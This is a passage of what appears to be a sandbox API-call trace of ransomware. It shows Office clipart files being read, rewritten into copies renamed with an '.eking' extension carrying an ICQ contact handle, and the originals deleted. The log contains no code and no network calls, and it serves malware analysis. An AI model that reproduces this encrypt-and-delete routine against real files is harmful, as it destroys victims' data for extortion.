lpFileSize=0x2f9f7e8*=5684) returned 1 [0255.942] CloseHandle (hObject=0x374) returned 1 [0255.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0255.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0255.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.943] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.943] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0255.945] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1634, lpOverlapped=0x0) returned 1 [0255.947] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1640, lpOverlapped=0x0) returned 1 [0255.949] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.949] CloseHandle (hObject=0x374) returned 1 [0255.949] CloseHandle (hObject=0x394) returned 1 [0255.950] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0 [0255.950] SetEvent (hEvent=0x2b8) returned 1 [0255.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.951] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20578) returned 1 [0255.952] CloseHandle (hObject=0x394) returned 1 [0255.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0255.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0255.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.953] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.953] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0255.955] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5062, lpOverlapped=0x0) returned 1 [0255.958] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5070, lpOverlapped=0x0) returned 1 [0255.960] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.960] CloseHandle (hObject=0x394) returned 1 [0255.960] CloseHandle (hObject=0x374) returned 1 [0255.961] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0 [0255.961] SetEvent (hEvent=0x2b8) returned 1 [0255.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.962] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10832) returned 1 [0255.962] CloseHandle (hObject=0x374) returned 1 [0255.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0255.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0255.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.963] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.964] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0255.967] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2a50, lpOverlapped=0x0) returned 1 [0255.998] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2a60, lpOverlapped=0x0) returned 1 [0256.001] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0256.001] CloseHandle (hObject=0x374) returned 1 [0256.001] CloseHandle (hObject=0x394) returned 1 [0256.001] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0 [0256.002] SetEvent (hEvent=0x2b8) returned 1 [0256.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0256.004] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14428) returned 1 [0256.004] CloseHandle (hObject=0x394) returned 1 [0256.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0256.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0256.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0256.006] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0256.006] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0256.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0256.273] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x385c, lpOverlapped=0x0) returned 1 [0256.381] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3860, lpOverlapped=0x0) returned 1 [0256.383] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0256.383] CloseHandle (hObject=0x394) returned 1 [0256.383] CloseHandle (hObject=0x348) returned 1 [0256.384] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0 [0256.384] SetEvent (hEvent=0x2b8) returned 1 [0256.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0256.391] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=26332) returned 1 [0256.391] CloseHandle (hObject=0x38c) returned 1 [0256.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0256.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0256.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0256.393] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0256.393] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0256.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0256.394] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x66dc, lpOverlapped=0x0) returned 1 [0256.429] WriteFile (in: hFile=0x39c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x66e0, lpOverlapped=0x0) returned 1 [0256.432] WriteFile (in: hFile=0x39c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0256.432] CloseHandle (hObject=0x38c) returned 1 [0256.433] CloseHandle (hObject=0x39c) returned 1 [0256.433] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0 [0256.434] SetEvent (hEvent=0x2b8) returned 1 [0256.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0256.435] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3746) returned 1 [0256.435] CloseHandle (hObject=0x39c) returned 1 [0256.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0256.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0256.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0256.436] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0256.436] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0256.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0256.439] ReadFile (in: hFile=0x39c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xea2, lpOverlapped=0x0) returned 1 [0256.805] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xeb0, lpOverlapped=0x0) returned 1 [0257.615] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0257.615] CloseHandle (hObject=0x39c) returned 1 [0257.615] CloseHandle (hObject=0x38c) returned 1 [0257.620] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0 [0257.621] SetEvent (hEvent=0x2b8) returned 1 [0257.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0257.626] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7540) returned 1 [0257.626] CloseHandle (hObject=0x38c) returned 1 [0257.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0257.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0257.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0257.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0257.627] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0257.627] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0257.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0257.641] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1d74, lpOverlapped=0x0) returned 1 [0257.934] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1d80, lpOverlapped=0x0) returned 1 [0257.935] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0257.935] CloseHandle (hObject=0x38c) returned 1 [0257.935] CloseHandle (hObject=0x354) returned 1 [0257.975] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0 [0257.999] SetEvent (hEvent=0x2b8) returned 1 [0257.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.468] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2108) returned 1 [0258.468] CloseHandle (hObject=0x394) returned 1 [0258.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0258.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0258.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 